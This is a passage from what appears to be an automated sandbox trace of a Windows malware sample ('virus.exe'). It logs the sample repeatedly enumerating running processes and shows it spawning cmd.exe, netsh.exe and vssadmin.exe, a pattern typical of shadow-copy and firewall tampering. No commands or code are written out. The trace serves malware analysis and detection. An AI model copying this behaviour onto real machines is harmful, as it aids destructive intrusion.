th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0232.941] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.941] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.941] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.942] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.942] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.943] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.944] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.944] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.945] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.945] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0232.946] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.946] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0232.946] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0232.947] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0232.947] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0232.948] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0232.948] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0232.949] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0232.949] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0232.949] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0232.950] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0232.950] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.951] Process32NextW (in: hSnapshot=0x1c0, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0232.951] CloseHandle (hObject=0x1c0) returned 1 [0232.951] Sleep (dwMilliseconds=0x1f4) [0233.463] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0233.465] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.466] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.466] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.466] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.467] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.467] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.468] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.468] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.469] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.469] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0233.469] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.470] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.470] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.471] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.471] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.471] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.472] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.472] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.473] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.473] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.473] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.474] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0233.474] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.475] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0233.475] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0233.475] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0233.476] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0233.476] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0233.477] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0233.477] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0233.477] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0233.478] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0233.478] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0233.479] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.479] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0233.480] CloseHandle (hObject=0x1b4) returned 1 [0233.480] Sleep (dwMilliseconds=0x1f4) [0234.010] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0234.012] Process32FirstW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0234.012] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0234.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0234.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.013] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0234.014] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0234.014] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0234.015] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0234.015] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0234.015] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0234.016] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.016] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.017] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.017] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.018] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.018] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0234.018] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.019] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0234.019] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0234.020] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0234.020] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0234.021] Process32NextW (in: hSnapshot=0x1b4, lppe=0xdaf714 | out: 